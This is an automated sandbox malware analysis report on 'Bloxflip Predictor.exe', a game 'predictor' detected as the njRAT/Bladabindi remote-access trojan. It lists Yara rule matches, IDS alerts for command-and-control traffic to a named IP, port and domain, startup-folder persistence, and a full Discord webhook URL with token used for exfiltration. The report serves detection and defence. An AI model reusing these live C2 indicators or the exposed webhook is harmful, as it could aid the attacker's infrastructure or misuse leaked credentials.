Windows Analysis Report
Bloxflip Predictor.exe

AI detected suspicious sample

Source: Yara match	File source: Bloxflip Predictor.exe, type: SAMPLE
Source: Yara match	File source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Bloxflip Predictor.exe PID: 5504, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Joe Sandbox ML: detected
Source: C:\Windows\Bloxflip Predictor.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Bloxflip Predictor.exe

Joe Sandbox ML: detected

Source: Bloxflip Predictor.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 162.159.137.232:443 -> 192.168.2.5:49714 version: TLS 1.0

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Suricata IDS alerts for network traffic

Source: Bloxflip Predictor.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Source: Network traffic	Suricata IDS: 2033132 - Severity 1 - ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) : 192.168.2.5:49726 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2021176 - Severity 1 - ET MALWARE Bladabindi/njRAT CnC Command (ll) : 192.168.2.5:49726 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825563 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (inf) : 192.168.2.5:49726 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2838486 - Severity 1 - ETPRO MALWARE njRAT/Bladabindi Variant CnC Activity (inf) : 192.168.2.5:49726 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825564 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act) : 192.168.2.5:49726 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2033132 - Severity 1 - ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) : 192.168.2.5:49777 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2021176 - Severity 1 - ET MALWARE Bladabindi/njRAT CnC Command (ll) : 192.168.2.5:49777 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825563 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (inf) : 192.168.2.5:49777 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2838486 - Severity 1 - ETPRO MALWARE njRAT/Bladabindi Variant CnC Activity (inf) : 192.168.2.5:49777 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825564 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act) : 192.168.2.5:49777 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2033132 - Severity 1 - ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) : 192.168.2.5:49830 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2021176 - Severity 1 - ET MALWARE Bladabindi/njRAT CnC Command (ll) : 192.168.2.5:49830 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825563 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (inf) : 192.168.2.5:49830 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2838486 - Severity 1 - ETPRO MALWARE njRAT/Bladabindi Variant CnC Activity (inf) : 192.168.2.5:49830 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825564 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act) : 192.168.2.5:49830 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2033132 - Severity 1 - ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) : 192.168.2.5:49887 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2021176 - Severity 1 - ET MALWARE Bladabindi/njRAT CnC Command (ll) : 192.168.2.5:49887 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825564 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act) : 192.168.2.5:49887 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2033132 - Severity 1 - ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) : 192.168.2.5:49941 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2021176 - Severity 1 - ET MALWARE Bladabindi/njRAT CnC Command (ll) : 192.168.2.5:49941 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825564 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act) : 192.168.2.5:49941 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2033132 - Severity 1 - ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) : 192.168.2.5:49981 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2021176 - Severity 1 - ET MALWARE Bladabindi/njRAT CnC Command (ll) : 192.168.2.5:49981 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825564 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act) : 192.168.2.5:49981 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2033132 - Severity 1 - ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) : 192.168.2.5:49982 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2021176 - Severity 1 - ET MALWARE Bladabindi/njRAT CnC Command (ll) : 192.168.2.5:49982 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2033132 - Severity 1 - ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) : 192.168.2.5:49983 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2021176 - Severity 1 - ET MALWARE Bladabindi/njRAT CnC Command (ll) : 192.168.2.5:49983 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825564 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act) : 192.168.2.5:49983 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825564 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act) : 192.168.2.5:49982 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2033132 - Severity 1 - ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) : 192.168.2.5:49984 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2021176 - Severity 1 - ET MALWARE Bladabindi/njRAT CnC Command (ll) : 192.168.2.5:49984 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2033132 - Severity 1 - ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll) : 192.168.2.5:49985 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2021176 - Severity 1 - ET MALWARE Bladabindi/njRAT CnC Command (ll) : 192.168.2.5:49985 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825564 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act) : 192.168.2.5:49985 -> 147.185.221.224:10397
Source: Network traffic	Suricata IDS: 2825564 - Severity 1 - ETPRO MALWARE Generic njRAT/Bladabindi CnC Activity (act) : 192.168.2.5:49984 -> 147.185.221.224:10397

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 147.185.221.224 ports 0,1,3,7,9,10397

Source: global traffic

TCP traffic: 192.168.2.5:49726 -> 147.185.221.224:10397

Source: global traffic

HTTP traffic detected: POST /api/webhooks/1040048109578895410/ewZ0edyfPb3PSo10z3bgM05aZex7uX3D_NzU6Fq1aA_P8lZYDHIuWHv2Qzzn-JTgsdIp HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: discord.comContent-Length: 247Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 162.159.137.232 162.159.137.232

Source: Joe Sandbox View

ASN Name: SALSGIVERUS SALSGIVERUS

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown

HTTPS traffic detected: 162.159.137.232:443 -> 192.168.2.5:49714 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: discord.com
Source: global traffic	DNS traffic detected: DNS query: quite-cs.at.ply.gg

Source: unknown

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 13 Dec 2024 11:31:53 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1734089514x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n9wbsGCU7WkE%2FAtznTqtdQcBmchAp1Y%2Ftal2agipQu6gJShuOgAt6wF1BFedC2mkbQka87vBjO1C3QQhfV%2Bt1BsgOmy2xAsUYAOt%2BfBksRAohlWjfA40K6ZBFZmr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=d3f28fe7b7367f135ebf22d2ac86ded1e15eb002-1734089513; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=pnFd6BJ.ITU12cb7tlltd2RqJsrP8UVkk0QdnIVrVG4-1734089513550-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8f15a160bce84387-EWR{"message": "Unknown Webhook", "code": 10015}

Source: Bloxflip Predictor.exe, Windows.exe.2.dr, Bloxflip Predictor.exe.1.dr	String found in binary or memory: https://discord.com/api/webhooks/1040048109578895410/ewZ0edyfPb3PSo10z3bgM05aZex7uX3D_NzU6Fq1aA_P8lZ
Source: Bloxflip Predictor.exe, Windows.exe.2.dr, Bloxflip Predictor.exe.1.dr	String found in binary or memory: https://gg.ylp.ta.sc-etiuq

Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: Bloxflip Predictor.exe, type: SAMPLE
Source: Yara match	File source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Bloxflip Predictor.exe PID: 5504, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED

System Summary

Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown
Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: detect njRAT in memory Author: JPCERT/CC Incident Response Group
Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: Detects executables using attrib with suspicious attributes attributes Author: ditekSHen
Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: Detects NjRAT / Bladabindi Author: ditekSHen
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: detect njRAT in memory Author: JPCERT/CC Incident Response Group
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using attrib with suspicious attributes attributes Author: ditekSHen
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: Detects NjRAT / Bladabindi Author: ditekSHen
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: detect njRAT in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables using attrib with suspicious attributes attributes Author: ditekSHen
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: Detects NjRAT / Bladabindi Author: ditekSHen
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect njRAT in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables using attrib with suspicious attributes attributes Author: ditekSHen
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects NjRAT / Bladabindi Author: ditekSHen
Source: 0000000C.00000002.2880439130.00000000034A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown
Source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: detect njRAT in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000000.2042331899.0000000000512000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown
Source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect njRAT in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.2145141321.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 0000000A.00000002.2394132880.0000000003401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: Bloxflip Predictor.exe PID: 5504, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: Bloxflip Predictor.exe PID: 428, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: Bloxflip Predictor.exe PID: 7056, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: Process Memory Space: Windows.exe PID: 6364, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: detect njRAT in memory Author: JPCERT/CC Incident Response Group
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: Detects executables using attrib with suspicious attributes attributes Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe, type: DROPPED	Matched rule: Detects NjRAT / Bladabindi Author: ditekSHen
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: Windows_Trojan_Njrat_30f3c220 Author: unknown
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: Detects malware from disclosed CN malware set Author: Florian Roth
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: detect njRAT in memory Author: JPCERT/CC Incident Response Group
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: Detects executables using attrib with suspicious attributes attributes Author: ditekSHen
Source: C:\Windows\Bloxflip Predictor.exe, type: DROPPED	Matched rule: Detects NjRAT / Bladabindi Author: ditekSHen

Source: C:\Windows\Bloxflip Predictor.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe

File created: C:\Windows\Bloxflip Predictor.exe

Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Code function: 1_2_01020370	1_2_01020370
Source: C:\Users\user\Desktop\Bloxflip Predictor.exe	Code function: 1_2_01020360	1_2_01020360
Source: C:\Windows\Bloxflip Predictor.exe	Code function: 2_2_012D0370	2_2_012D0370
Source: C:\Windows\Bloxflip Predictor.exe	Code function: 2_2_012D0360	2_2_012D0360
Source: C:\Windows\Bloxflip Predictor.exe	Code function: 10_2_05760370	10_2_05760370
Source: C:\Windows\Bloxflip Predictor.exe	Code function: 10_2_05760360	10_2_05760360
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Code function: 12_2_01A00370	12_2_01A00370
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows.exe	Code function: 12_2_01A00360	12_2_01A00360

Source: Bloxflip Predictor.exe, 00000001.00000002.2144638603.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemscorwks.dllT vs Bloxflip Predictor.exe
Source: Bloxflip Predictor.exe, 00000002.00000002.4504825162.00000000012FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemscorwks.dllT vs Bloxflip Predictor.exe

Source: Bloxflip Predictor.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04
Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: CN_disclosed_20180208_c date = 2018-02-08, hash1 = 17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: Njrat hash1 = d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d, author = JPCERT/CC Incident Response Group, description = detect njRAT in memory, rule_usage = memory scan
Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_attrib author = ditekSHen, description = Detects executables using attrib with suspicious attributes attributes
Source: Bloxflip Predictor.exe, type: SAMPLE	Matched rule: MALWARE_Win_NjRAT author = ditekSHen, description = Detects NjRAT / Bladabindi
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: CN_disclosed_20180208_c date = 2018-02-08, hash1 = 17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: Njrat hash1 = d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d, author = JPCERT/CC Incident Response Group, description = detect njRAT in memory, rule_usage = memory scan
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_attrib author = ditekSHen, description = Detects executables using attrib with suspicious attributes attributes
Source: 1.0.Bloxflip Predictor.exe.510000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_NjRAT author = ditekSHen, description = Detects NjRAT / Bladabindi
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: CN_disclosed_20180208_c date = 2018-02-08, hash1 = 17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: Njrat hash1 = d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d, author = JPCERT/CC Incident Response Group, description = detect njRAT in memory, rule_usage = memory scan
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_attrib author = ditekSHen, description = Detects executables using attrib with suspicious attributes attributes
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_NjRAT author = ditekSHen, description = Detects NjRAT / Bladabindi
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Njrat_30f3c220 reference_sample = 741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b, os = windows, severity = x86, creation_date = 2021-06-13, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Njrat, fingerprint = d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4, id = 30f3c220-b8dc-45a1-bcf0-027c2f76fa63, last_modified = 2021-10-04
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: CN_disclosed_20180208_c date = 2018-02-08, hash1 = 17475d25d40c877284e73890a9dd55fccedc6a5a071c351a8c342c8ef7f9cea7, author = Florian Roth, description = Detects malware from disclosed CN malware set, reference = https://twitter.com/cyberintproject/status/961714165550342146, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: Njrat hash1 = d5f63213ce11798879520b0e9b0d1b68d55f7727758ec8c120e370699a41379d, author = JPCERT/CC Incident Response Group, description = detect njRAT in memory, rule_usage = memory scan
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_attrib author = ditekSHen, description = Detects executables using attrib with suspicious attributes attributes
Source: 1.2.Bloxflip Predictor.exe.2b988c4.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_NjRAT author = ditekSHen, description = Detects NjRAT / Bladabindi
